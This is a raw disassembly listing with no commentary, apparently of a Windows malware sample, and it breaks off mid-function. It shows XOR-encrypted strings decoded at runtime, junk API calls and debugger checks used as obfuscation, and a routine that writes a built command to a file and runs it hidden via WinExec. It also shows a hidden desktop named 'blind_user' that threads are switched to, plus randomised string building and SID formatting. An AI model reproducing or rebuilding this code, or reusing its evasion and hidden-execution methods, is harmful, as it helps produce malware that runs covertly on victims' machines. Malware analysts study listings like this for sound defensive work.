push 8 ; Size
push offset word_4474A6 ; Src
call sub_403FD8
push eax ; Source
lea edi, [ebp+Buffer]
push edi ; Dest
call strcat ; strcat
add esp, 38h
jmp loc_404233
; ---------------------------------------------------------------------------
loc_4041A4: ; CODE XREF: sub_40406B+A9j
call GetLastError
push 0FFh ; uSize
lea eax, [ebp+Buffer]
push eax ; lpBuffer
call GetWindowsDirectoryA ; GetWindowsDirectoryA
call IsDebuggerPresent ; IsDebuggerPresent
push 0Fh ; Size
push offset word_447496 ; Src
call sub_403FD8
lea edi, [ebp+Buffer]
push edi
push eax ; Format
lea edi, [ebp+Dest]
push edi ; Dest
call sprintf ; sprintf
call GetVersion ; GetVersion
push 0Eh ; Size
push offset byte_447487 ; Src
call sub_403FD8
lea edi, [ebp+Buffer]
push edi
push eax ; Format
lea edi, [ebp+FileName]
push edi ; Dest
call sprintf ; sprintf
lea edi, [ebp+var_14AF]
lea esi, byte_442218
mov ecx, 3
rep movsb
push 0Ch ; Size
push offset word_44747A ; Src
call sub_403FD8
push eax ; Source
lea edi, [ebp+Buffer]
push edi ; Dest
call strcat ; strcat
add esp, 38h
loc_404233: ; CODE XREF: sub_40406B+134j
lea eax, [ebp+FileName]
push eax ; lpFileName
call DeleteFileA ; DeleteFileA
call GetProcessHeap ; GetProcessHeap
lea edi, [ebp+var_14A4]
lea esi, byte_44221B
mov ecx, 7
rep movsb
push 0 ; hTemplateFile
push 80h ; dwFlagsAndAttributes
push 2 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 40000000h ; dwDesiredAccess
lea eax, [ebp+Dest]
push eax ; lpFileName
call CreateFileA ; CreateFileA
mov ebx, eax
call GetVersion ; GetVersion
push 39h ; Size
push offset dword_447440 ; Src
call sub_403FD8
lea edi, [ebp+Dest]
push edi
lea edi, [ebp+Filename]
push edi
lea edi, [ebp+Filename]
push edi
push eax ; Format
lea edi, [ebp+CmdLine]
push edi ; Dest
call sprintf ; sprintf
add esp, 1Ch
call GetTickCount ; GetTickCount
lea ecx, [ebp+CmdLine]
or eax, 0FFFFFFFFh
loc_4042BB: ; CODE XREF: sub_40406B+255j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4042BB
push 0 ; lpOverlapped
lea esi, [ebp+NumberOfBytesWritten]
push esi ; lpNumberOfBytesWritten
push eax ; nNumberOfBytesToWrite
lea edi, [ebp+CmdLine]
push edi ; lpBuffer
push ebx ; hFile
call WriteFile ; WriteFile
call GetLastError
push ebx ; hObject
call CloseHandle ; CloseHandle
mov eax, dword_442222
mov [ebp+var_14AC], eax
push 8 ; Size
push offset aSS ; "¿éºµÙº¿é"
call sub_403FD8
add esp, 8
lea edi, [ebp+Dest]
push edi
lea edi, [ebp+Buffer]
push edi
push eax ; Format
lea edi, [ebp+CmdLine]
loc_404313: ; DATA XREF: sub_43F725+1E1o
push edi ; Dest
call sprintf ; sprintf
add esp, 10h
push 0 ; uCmdShow
lea eax, [ebp+CmdLine]
push eax ; lpCmdLine
call WinExec ; WinExec
mov [ebp+var_1395], 69h
add [ebp+var_1395], 1
pop edi
pop esi
pop ebx
leave
retn
sub_40406B endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push eax
push esi
push edi
mov esi, [ebp+0Ch]
mov dword ptr [ebp-4], 200h
push esi
push dword ptr [ebp+8]
mov eax, dword_442230
lea eax, ds:430C30h[eax]
push eax
call memcpy ; memcpy
add esp, 0Ch
mov dword ptr [ebp-8], 100h
xor edi, edi
jmp short loc_40438C
; ---------------------------------------------------------------------------
loc_404372: ; CODE XREF: .text:0040438Ej
mov eax, dword_442230
add eax, edi
lea eax, ds:430C30h[eax]
movsx edx, byte ptr [eax]
xor edx, 0D9h
mov [eax], dl
inc edi
loc_40438C: ; CODE XREF: .text:00404370j
cmp edi, esi
jl short loc_404372
mov eax, dword_442230
add eax, esi
mov byte ptr dword_430C30[eax], 0
xor edi, edi
mov edi, dword_442230
mov eax, edi
lea eax, [eax+esi+1]
mov dword_442230, eax
cmp eax, 0DCCh
jle short loc_4043C0
and dword_442230, 0
loc_4043C0: ; CODE XREF: .text:004043B7j
lea eax, dword_430C30[edi]
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4043CA proc near ; CODE XREF: sub_4061F7+22Cp
; sub_408B4C+1ABp
var_10 = dword ptr -10h
var_A = word ptr -0Ah
var_7 = byte ptr -7
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
lea edi, [ebp+var_7]
lea esi, dword_442238
mov ecx, 3
rep movsb
cmp hDesktop, 0
jz short loc_404422
mov [ebp+var_A], 4080h
movzx eax, [ebp+var_A]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_A], ax
call GetCurrentThreadId ; GetCurrentThreadId
push eax ; dwThreadId
call GetThreadDesktop ; GetThreadDesktop
mov [ebp+var_10], eax
call GetProcessHeap ; GetProcessHeap
mov eax, hDesktop
cmp [ebp+var_10], eax
jnz short loc_404450
xor eax, eax
inc eax
jmp short loc_404469
; ---------------------------------------------------------------------------
loc_404422: ; CODE XREF: sub_4043CA+20j
push 0 ; lpsa
push 0C7h ; dwDesiredAccess
push 0 ; dwFlags
push 0 ; pDevmode
push 0 ; lpszDevice
push offset szDesktop ; "blind_user"
call CreateDesktopA ; CreateDesktopA
mov hDesktop, eax
call GetCurrentThreadId ; GetCurrentThreadId
cmp hDesktop, 0
jnz short loc_404450
xor eax, eax
jmp short loc_404469
; ---------------------------------------------------------------------------
loc_404450: ; CODE XREF: sub_4043CA+51j
; sub_4043CA+80j
push hDesktop ; hDesktop
call SetThreadDesktop ; SetThreadDesktop
mov [ebp+var_4], eax
mov ebx, 5CBAh
mov ecx, ebx
add ecx, ebx
mov ebx, ecx
loc_404469: ; CODE XREF: sub_4043CA+56j
; sub_4043CA+84j
pop edi
pop esi
pop ebx
leave
retn
sub_4043CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40446E proc near ; CODE XREF: sub_4061F7+2C6p
; sub_408B4C+230p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push edi
mov edi, 1763h
add edi, 25D9h
mov eax, [ebp+arg_0]
lea edx, szDesktop ; "blind_user"
mov [eax+8], edx
call GetProcessHeap ; GetProcessHeap
pop edi
pop ebp
retn
sub_40446E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_404491(void *Src, size_t Size)
sub_404491 proc near ; CODE XREF: sub_404529+64p
; sub_404529+9Ap ...
var_8 = dword ptr -8
var_4 = dword ptr -4
Src = dword ptr 8
Size = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push eax
push esi
push edi
mov esi, [ebp+Size]
push esi ; Size
push [ebp+Src] ; Src
mov eax, dword_442244
lea eax, ds:4176F0h[eax]
push eax ; Dst
call memcpy ; memcpy
add esp, 0Ch
mov [ebp+var_4], 5Dh
xor edi, edi
jmp short loc_4044D9
; ---------------------------------------------------------------------------
loc_4044BF: ; CODE XREF: sub_404491+4Aj
mov eax, dword_442244
add eax, edi
lea eax, ds:4176F0h[eax]
movsx edx, byte ptr [eax]
xor edx, 0B6h
mov [eax], dl
inc edi
loc_4044D9: ; CODE XREF: sub_404491+2Cj
cmp edi, esi
jl short loc_4044BF
mov eax, dword_442244
add eax, esi
mov byte ptr dword_4176F0[eax], 0
xor edi, edi
mov edi, dword_442244
add dword_442244, 2
mov eax, dword_442244
add eax, 5
add eax, esi
mov dword_442244, eax
cmp eax, 0DD3h
jle short loc_404518
and dword_442244, 0
loc_404518: ; CODE XREF: sub_404491+7Ej
mov [ebp+var_8], 165h
lea eax, dword_4176F0[edi]
loc_404525: ; DATA XREF: sub_43F725+A6o
pop edi
pop esi
leave
retn
sub_404491 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_404529(char *Dest, char *Source)
sub_404529 proc near ; CODE XREF: sub_4054C8+702p
; sub_4054C8+7C6p ...
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
Format = dword ptr -108h
var_102 = byte ptr -102h
var_101 = byte ptr -101h
var_100 = byte ptr -100h
var_FF = byte ptr -0FFh
Dest = dword ptr 8
Source = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 114h
push ebx
push esi
push edi
mov ebx, [ebp+Dest]
call GetCurrentThreadId ; GetCurrentThreadId
push [ebp+Source] ; Source
push ebx ; Dest
call strcat ; strcat
add esp, 8
call IsDebuggerPresent ; IsDebuggerPresent
lea edi, [ebp+var_100]
lea esi, byte_442248
xor ecx, ecx
inc ecx
rep movsb
call rand ; rand
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge loc_404641
call GetProcessHeap ; GetProcessHeap
mov [ebp+var_FF], 0
call GetLastError
loc_404586: ; DATA XREF: sub_43F725+476o
push 3 ; Size
push offset aSC ; "™œ–"
call sub_404491
push eax ; Source
push ebx ; Dest
call strcat ; strcat
add esp, 10h
call GetProcessHeap ; GetProcessHeap
mov [ebp+var_101], 0
jmp short loc_404605
; ---------------------------------------------------------------------------
loc_4045AA: ; CODE XREF: sub_404529+E4j
call rand ; rand
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge short loc_4045FE
push 4 ; Size
push offset aUU ; "“Å“Õ"
call sub_404491
mov [ebp+Format], eax
call rand ; rand
mov ecx, 1Ah
cdq
idiv ecx
mov edi, edx
add edi, 61h
push edi
lea edi, [ebp+var_FF]
push edi
mov edi, [ebp+Format]
push edi ; Format
loc_4045EF: ; DATA XREF: sub_43F725+4B8o
lea edi, [ebp+var_FF]
push edi ; Dest
call sprintf ; sprintf
add esp, 18h
loc_4045FE: ; CODE XREF: sub_404529+91j
add [ebp+var_101], 1
loc_404605: ; CODE XREF: sub_404529+7Fj
mov al, [ebp+var_101]
cmp al, 0Ah
jb short loc_4045AA
call GetCurrentThreadId ; GetCurrentThreadId
lea eax, [ebp+var_FF]
push eax ; Source
push ebx ; Dest
call strcat ; strcat
call IsDebuggerPresent ; IsDebuggerPresent
push 3 ; Size
push offset aCS ; "–œ™"
call sub_404491
push eax ; Source
push ebx ; Dest
call strcat ; strcat
add esp, 18h
call IsDebuggerPresent ; IsDebuggerPresent
loc_404641: ; CODE XREF: sub_404529+46j
call rand ; rand
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge loc_404721
call GetCurrentThreadId ; GetCurrentThreadId
push 10h ; Size
push offset aCuUUClcuN ; "À×Ä–“Õ“Õ“Õ–‹–“Ã"
call sub_404491
mov [ebp+Format], eax
call rand ; rand
mov [ebp+var_10C], eax
call rand ; rand
mov [ebp+var_110], eax
call rand ; rand
mov [ebp+var_114], eax
call rand ; rand
mov ecx, 0EA60h
cdq
idiv ecx
push edx
mov edi, [ebp+var_114]
mov eax, edi
mov ecx, 1Ah
cdq
idiv ecx
mov edi, edx
add edi, 61h
push edi
mov edi, [ebp+var_110]
mov eax, edi
mov ecx, 1Ah
cdq
idiv ecx
mov edi, edx
add edi, 61h
push edi
mov edi, [ebp+var_10C]
mov eax, edi
mov ecx, 1Ah
cdq
idiv ecx
mov edi, edx
add edi, 61h
push edi
mov edi, [ebp+Format]
push edi ; Format
lea edi, [ebp+var_FF]
push edi ; Dest
call sprintf ; sprintf
mov [ebp+var_101], 80h
add [ebp+var_101], 1
lea eax, [ebp+var_FF]
push eax ; Source
push ebx ; Dest
call strcat ; strcat
loc_40470D: ; DATA XREF: sub_43F725+600o
add esp, 28h
lea edi, [ebp+var_102]
lea esi, byte_442249
xor ecx, ecx
inc ecx
rep movsb
loc_404721: ; CODE XREF: sub_404529+128j
call rand ; rand
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge loc_4047EE
mov [ebp+var_101], 6Ch
movzx eax, [ebp+var_101]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_101], al
push 0Ah ; Size
push offset byte_447403 ; Src
call sub_404491
mov [ebp+Format], eax
call rand ; rand
mov [ebp+var_10C], eax
call rand ; rand
mov [ebp+var_110], eax
call rand ; rand
mov ecx, 1Ah
cdq
idiv ecx
mov edi, edx
add edi, 61h
push edi
mov edi, [ebp+var_110]
mov eax, edi
mov ecx, 1Ah
cdq
idiv ecx
mov edi, edx
loc_40479E: ; DATA XREF: sub_43F725+502o
add edi, 61h
push edi
mov edi, [ebp+var_10C]
mov eax, edi
mov ecx, 1Ah
cdq
idiv ecx
mov edi, edx
add edi, 61h
push edi
mov edi, [ebp+Format]
push edi ; Format
lea edi, [ebp+var_FF]
push edi ; Dest
call sprintf ; sprintf
mov [ebp+var_102], 0ABh
sub [ebp+var_102], 19h
lea eax, [ebp+var_FF]
push eax ; Source
push ebx ; Dest
call strcat ; strcat
add esp, 24h
call IsDebuggerPresent ; IsDebuggerPresent
loc_4047EE: ; CODE XREF: sub_404529+208j
call rand ; rand
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge short loc_404816
push 2 ; Size
push offset byte_447400 ; Src
loc_404807: ; DATA XREF: sub_43F725+52Do
call sub_404491
push eax ; Source
push ebx ; Dest
call strcat ; strcat
add esp, 10h
loc_404816: ; CODE XREF: sub_404529+2D5j
pop edi
pop esi
pop ebx
leave
retn
sub_404529 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40481B(char *Dest, char *Source)
sub_40481B proc near ; CODE XREF: sub_4054C8+1A2p
; sub_4054C8+1D3p ...
var_150 = dword ptr -150h
var_14C = dword ptr -14Ch
Format = dword ptr -148h
var_141 = byte ptr -141h
var_13F = byte ptr -13Fh
var_13B = byte ptr -13Bh
var_136 = word ptr -136h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_129 = byte ptr -129h
var_128 = byte ptr -128h
var_120 = byte ptr -120h
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_FF = byte ptr -0FFh
Dest = dword ptr 8
Source = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 150h
push ebx
push esi
push edi
mov ebx, [ebp+Dest]
mov [ebp+var_108], 53AAh
inc [ebp+var_108]
push [ebp+Source] ; Source
push ebx ; Dest
call strcat ; strcat
add esp, 8
lea edi, [ebp+var_120]
lea esi, word_44224A
movsd
movsd
call rand ; rand
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge loc_404A43
call GetProcessHeap ; GetProcessHeap
mov [ebp+var_FF], 0
mov [ebp+var_130], 55F4h
inc [ebp+var_130]
push 5 ; Size
push offset word_4473FA ; Src
call sub_404491
push eax ; Source
push ebx ; Dest
call strcat ; strcat
add esp, 10h
call GetVersion ; GetVersion
mov [ebp+var_129], 0
jmp loc_4049F9
; ---------------------------------------------------------------------------
loc_4048AD: ; CODE XREF: sub_40481B+1E6j
call GetCurrentThreadId ; GetCurrentThreadId
call rand ; rand
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge short loc_404906
push 4 ; Size
push offset aUU ; "“Å“Õ"
call sub_404491
mov [ebp+Format], eax
call rand ; rand
mov ecx, 1Ah
cdq
idiv ecx
mov edi, edx
add edi, 61h
push edi
lea edi, [ebp+var_FF]
push edi
mov edi, [ebp+Format]
push edi ; Format
lea edi, [ebp+var_FF]
push edi ; Dest
call sprintf ; sprintf
add esp, 18h
loc_404906: ; CODE XREF: sub_40481B+A7j
lea edi, [ebp+var_13B]
lea esi, aByqv ; "BYQV"
mov ecx, 5
rep movsb
call rand ; rand
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge short loc_40496D
push 4 ; Size
push offset aUU ; "“Å“Õ"
call sub_404491
mov [ebp+var_14C], eax ; DATA XREF: sub_43F725+41Dr
call rand ; rand
mov ecx, 1Ah
cdq
idiv ecx
mov edi, edx
add edi, 41h
push edi
lea edi, [ebp+var_FF]
push edi
mov edi, [ebp+var_14C]
push edi ; Format
lea edi, [ebp+var_FF]
push edi ; Dest
call sprintf ; sprintf
add esp, 18h
loc_40496D: ; CODE XREF: sub_40481B+10Ej
lea edi, [ebp+var_141]
lea esi, a4lk ; "&*4LK"
mov ecx, 3
rep movsw
call rand ; rand
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 7
jge short loc_4049D5
push 4 ; Size
push offset aUU ; "“Å“Õ"
call sub_404491
mov [ebp+var_150], eax
call rand ; rand
mov ecx, 9
cdq
idiv ecx
mov edi, edx
add edi, 30h
push edi
lea edi, [ebp+var_FF]
push edi
mov edi, [ebp+var_150]
push edi ; Format
lea edi, [ebp+var_FF]
push edi ; Dest
call sprintf ; sprintf
add esp, 18h
loc_4049D5: ; CODE XREF: sub_40481B+176j
mov [ebp+var_136], 61C9h
movzx eax, [ebp+var_136]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_136], ax ; DATA XREF: sub_43F725+2Ao
add [ebp+var_129], 1
loc_4049F9: ; CODE XREF: sub_40481B+8Dj
mov al, [ebp+var_129]
cmp al, 0Ah
jb loc_4048AD
lea eax, [ebp+var_FF]
push eax ; Source
push ebx ; Dest
call strcat ; strcat
call GetCurrentProcessId ; GetCurrentProcessId
push 4 ; Size
push offset byte_4473F5 ; Src
call sub_404491
push eax ; Source
push ebx ; Dest
call strcat ; strcat
add esp, 18h
mov [ebp+var_134], 46D8h ; DATA XREF: sub_440126+12o
sub [ebp+var_134], 3C21h
loc_404A43: ; CODE XREF: sub_40481B+49j
call rand ; rand
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge loc_404BD4
mov [ebp+var_130], 53ABh
add [ebp+var_130], 4F65h
mov [ebp+var_FF], 0
mov eax, dword_44225D
mov [ebp+var_134], eax
mov [ebp+var_129], 0
jmp loc_404BB6
; ---------------------------------------------------------------------------
loc_404A8B: ; CODE XREF: sub_40481B+3A3j
call GetProcessHeap ; GetProcessHeap
call rand ; rand
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 4
jge short loc_404AE4
push 4 ; Size
push offset aUU ; "“Å“Õ"
call sub_404491
mov [ebp-144h], eax
call rand ; rand
mov ecx, 1Ah
cdq
idiv ecx
mov edi, edx
add edi, 61h
push edi
lea edi, [ebp+var_FF]
push edi
mov edi, [ebp-144h]
push edi ; Format
lea edi, [ebp+var_FF]
push edi ; Dest
call sprintf ; sprintf
add esp, 18h
loc_404AE4: ; CODE XREF: sub_40481B+285j
mov eax, dword_442261
mov [ebp-138h], eax
call rand ; rand
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 4
jge short loc_404B43
push 4 ; Size
push offset aUU ; "“Å“Õ"
call sub_404491
mov [ebp+Format], eax
call rand ; rand
mov ecx, 1Ah
cdq
idiv ecx
mov edi, edx
add edi, 41h
push edi
lea edi, [ebp+var_FF]
push edi
mov edi, [ebp+Format]
push edi ; Format
lea edi, [ebp+var_FF]
push edi ; Dest
call sprintf ; sprintf
add esp, 18h
loc_404B43: ; CODE XREF: sub_40481B+2E4j
lea edi, [ebp+var_13F]
lea esi, byte_442265
mov ecx, 7
rep movsb
call rand ; rand
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 3
jge short loc_404BAA
push 4 ; Size
push offset aUU ; "“Å“Õ"
call sub_404491
mov [ebp+var_14C], eax
call rand ; rand
mov ecx, 9
cdq
loc_404B85: ; DATA XREF: .text:00440382o
; .text:004403A9o ...
idiv ecx
mov edi, edx
add edi, 30h
push edi
lea edi, [ebp+var_FF]
push edi
mov edi, [ebp+var_14C]
push edi ; Format
lea edi, [ebp+var_FF]
push edi ; Dest
call sprintf ; sprintf
add esp, 18h
loc_404BAA: ; CODE XREF: sub_40481B+34Bj
call GetTickCount ; GetTickCount
add [ebp+var_129], 1
loc_404BB6: ; CODE XREF: sub_40481B+26Bj
mov al, [ebp+var_129]
cmp al, 32h
jb loc_404A8B
lea eax, [ebp+var_FF]
push eax ; Source
push ebx ; Dest
call strcat ; strcat
add esp, 8
loc_404BD4: ; CODE XREF: sub_40481B+238j
call rand ; rand
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge short loc_404BFC
push 4 ; Size
push offset dword_4473F0 ; Src
call sub_404491
push eax ; Source
push ebx ; Dest
call strcat ; strcat
add esp, 10h
loc_404BFC: ; CODE XREF: sub_40481B+3C9j
lea edi, [ebp+var_128]
lea esi, dword_44226C
movsd
movsd
call rand ; rand
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge short loc_404C32
push 3 ; Size
push offset dword_4473EC ; Src
call sub_404491
push eax ; Source
push ebx ; Dest
call strcat ; strcat
add esp, 10h
loc_404C32: ; CODE XREF: sub_40481B+3FFj
mov [ebp+var_104], 384h
mov eax, [ebp+var_104]
mov edx, eax
add edx, eax
mov [ebp+var_104], edx
call rand ; rand
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge short loc_404C74
push 3 ; Size
push offset dword_4473E8 ; Src
call sub_404491
push eax ; Source
push ebx ; Dest
call strcat ; strcat
add esp, 10h
loc_404C74: ; CODE XREF: sub_40481B+441j
call rand ; rand
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge short loc_404C9C
push 3 ; Size
push offset dword_4473E4 ; Src
call sub_404491
push eax ; Source
push ebx ; Dest
call strcat ; strcat
add esp, 10h
loc_404C9C: ; CODE XREF: sub_40481B+469j
call GetTickCount ; GetTickCount
call rand ; rand
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge short loc_404CC9
push 4 ; Size
push offset byte_4473DF ; Src
call sub_404491
push eax ; Source
push ebx ; Dest
call strcat ; strcat
add esp, 10h
loc_404CC9: ; CODE XREF: sub_40481B+496j
mov [ebp+var_10C], 0F10h
inc [ebp+var_10C]
call rand ; rand
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge short loc_404D01
push 4 ; Size
push offset word_4473DA ; Src
call sub_404491
push eax ; Source
push ebx ; Dest
call strcat ; strcat
add esp, 10h
loc_404D01: ; CODE XREF: sub_40481B+4CEj
call rand ; rand
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge short loc_404D29
push 4 ; Size
push offset byte_4473D5 ; Src
call sub_404491
push eax ; Source
push ebx ; Dest
call strcat ; strcat
add esp, 10h
loc_404D29: ; CODE XREF: sub_40481B+4F6j
call GetTickCount ; GetTickCount
loc_404D2E: ; DATA XREF: .text:0043FFA8o
call rand ; rand
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge short loc_404D56
push 7 ; Size
push offset byte_4473CD ; Src
call sub_404491
push eax ; Source
push ebx ; Dest
call strcat ; strcat
add esp, 10h
loc_404D56: ; CODE XREF: sub_40481B+523j
mov [ebp+var_110], 7CCAh
mov eax, 23D9h
mul [ebp+var_110]
mov [ebp-12Ch], eax
mov [ebp+var_110], eax
call rand ; rand
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge short loc_404D9F
push 8 ; Size
push offset dword_4473C4 ; Src
call sub_404491
push eax ; Source
push ebx ; Dest
call strcat ; strcat
add esp, 10h
loc_404D9F: ; CODE XREF: sub_40481B+56Cj
mov [ebp+var_114], 2CE7h
inc [ebp+var_114]
call rand ; rand
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge short loc_404DD7
push 9 ; Size
push offset word_4473BA ; Src
call sub_404491
push eax ; Source
push ebx ; Dest
call strcat ; strcat
add esp, 10h
loc_404DD7: ; CODE XREF: sub_40481B+5A4j
mov [ebp+var_118], 35B7h
mov eax, 4085h
mul [ebp+var_118]
mov [ebp+var_130], eax
mov [ebp+var_118], eax
call rand ; rand
mov ecx, 0Ah
cdq
idiv ecx
cmp edx, 5
jge short loc_404E20
push 2 ; Size
push offset byte_447400 ; Src
call sub_404491
push eax ; Source
push ebx ; Dest
call strcat ; strcat
add esp, 10h
loc_404E20: ; CODE XREF: sub_40481B+5EDj
call GetCurrentProcessId ; GetCurrentProcessId
pop edi
pop esi
pop ebx
leave
retn
sub_40481B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_404E2A(void *Src, size_t Size)
sub_404E2A proc near ; CODE XREF: sub_404EC6+5Cp
; sub_404EC6+91p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Src = dword ptr 8
Size = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov esi, [ebp+Size]
mov [ebp+var_4], 12Bh
push esi ; Size
push [ebp+Src] ; Src
mov eax, dword_44227C
lea eax, ds:436250h[eax]
push eax ; Dst
call memcpy ; memcpy
add esp, 0Ch
mov [ebp+var_8], 283h
xor edi, edi
jmp short loc_404E77
; ---------------------------------------------------------------------------
loc_404E60: ; CODE XREF: sub_404E2A+4Fj
mov eax, dword_44227C
add eax, edi
lea eax, ds:436250h[eax]
movsx edx, byte ptr [eax]
xor edx, 7Bh
mov [eax], dl
inc edi
loc_404E77: ; CODE XREF: sub_404E2A+34j
cmp edi, esi
jl short loc_404E60
mov [ebp+var_C], 10Ch
mov eax, dword_44227C
add eax, esi
mov byte ptr dword_436250[eax], 0
xor edi, edi
mov edi, dword_44227C
add dword_44227C, 3
mov eax, dword_44227C
lea eax, [eax+esi+3]
mov dword_44227C, eax
cmp eax, 0DEDh
jle short loc_404EBC
and dword_44227C, 0
loc_404EBC: ; CODE XREF: sub_404E2A+89j
lea eax, dword_436250[edi]
pop edi
pop esi
leave
retn
sub_404E2A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_404EC6(PSID pSid, LPSTR)
sub_404EC6 proc near ; CODE XREF: sub_40506F+99p
var_30 = dword ptr -30h
var_2A = byte ptr -2Ah
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_19 = dword ptr -19h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
nSubAuthority = dword ptr -4
pSid = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 30h
push ebx
push esi
push edi
mov [ebp+var_15], 0C0h
sub [ebp+var_15], 75h
mov eax, dword_442280
mov [ebp+var_19], eax
xor ebx, ebx
inc ebx
push [ebp+pSid] ; pSid
call GetSidIdentifierAuthority ; GetSidIdentifierAuthority
mov [ebp+var_14], eax
call GetCurrentThreadId ; GetCurrentThreadId
push [ebp+pSid] ; pSid
call GetSidSubAuthorityCount ; GetSidSubAuthorityCount
movzx edi, byte ptr [eax]
mov [ebp+var_10], edi
call GetTickCount ; GetTickCount
mov eax, 0Ch
mul [ebp+var_10]
mov [ebp+var_20], eax
add eax, 1Ch
mov [ebp+var_C], eax
loc_404F16: ; DATA XREF: .text:off_4472A3o
call GetTickCount ; GetTickCount
push 6 ; Size
push offset byte_4473B3 ; Src
call sub_404E2A
push ebx
push eax ; LPCSTR
push [ebp+arg_4] ; LPSTR
call wsprintfA ; wsprintfA
add esp, 14h
mov [ebp+var_C], eax
add eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov eax, [ebp+var_14]
cmp byte ptr [eax], 0
jnz short loc_404F4B
cmp byte ptr [eax+1], 0
jz short loc_404FA9
loc_404F4B: ; CODE XREF: sub_404EC6+7Dj
call GetCurrentProcessId ; GetCurrentProcessId
push 20h ; Size
push offset word_447392 ; Src
call sub_404E2A
mov edi, [ebp+var_14]
movzx esi, byte ptr [edi+5]
movzx esi, si
push esi
movzx esi, byte ptr [edi+4]
movzx esi, si
push esi
movzx esi, byte ptr [edi+3]
movzx esi, si
push esi
movzx esi, byte ptr [edi+2]
movzx esi, si
push esi
movzx esi, byte ptr [edi+1]
movzx esi, si
push esi
movzx edi, byte ptr [edi]
movzx edi, di
push edi
push eax ; LPCSTR
push [ebp+var_8] ; LPSTR
call wsprintfA ; wsprintfA
add esp, 28h
mov ebx, eax
add [ebp+var_C], ebx
mov eax, ebx
add eax, [ebp+var_8]
mov [ebp+var_8], eax
jmp short loc_405017
; ---------------------------------------------------------------------------
loc_404FA9: ; CODE XREF: sub_404EC6+83j
mov [ebp+var_24], 5F0h
mov eax, 4B0Ah
mul [ebp+var_24]
mov [ebp+var_30], eax
mov [ebp+var_24], eax
push 3 ; Size
push offset word_44738E ; Src
call sub_404E2A
mov edi, [ebp+var_14]
movzx esi, byte ptr [edi+5]
movzx edx, byte ptr [edi+4]
shl edx, 8
add esi, edx
movzx edx, byte ptr [edi+3]
shl edx, 10h
add esi, edx
movzx edi, byte ptr [edi+2]
shl edi, 18h
add esi, edi
push esi
push eax ; LPCSTR
push [ebp+var_8] ; LPSTR
call wsprintfA ; wsprintfA
add esp, 14h
mov ebx, eax
lea edi, [ebp+var_2A]
lea esi, dword_442284
mov ecx, 3
rep movsw
add [ebp+var_C], ebx
mov eax, ebx
add eax, [ebp+var_8]
mov [ebp+var_8], eax
loc_405017: ; CODE XREF: sub_404EC6+E1j
and [ebp+nSubAuthority], 0
jmp short loc_405062
; ---------------------------------------------------------------------------
loc_40501D: ; CODE XREF: sub_404EC6+1A2j
call GetLastError
push 4 ; Size
push offset byte_447389 ; Src
call sub_404E2A
mov [ebp+var_24], eax
push [ebp+nSubAuthority] ; nSubAuthority
push [ebp+pSid] ; pSid
call GetSidSubAuthority ; GetSidSubAuthority
push dword ptr [eax]
mov edi, [ebp+var_24]
push edi ; LPCSTR
push [ebp+var_8] ; LPSTR
call wsprintfA ; wsprintfA
add esp, 14h
mov ebx, eax
call GetCurrentProcessId ; GetCurrentProcessId
add [ebp+var_C], ebx
mov eax, ebx
add eax, [ebp+var_8]
mov [ebp+var_8], eax
inc [ebp+nSubAuthority]
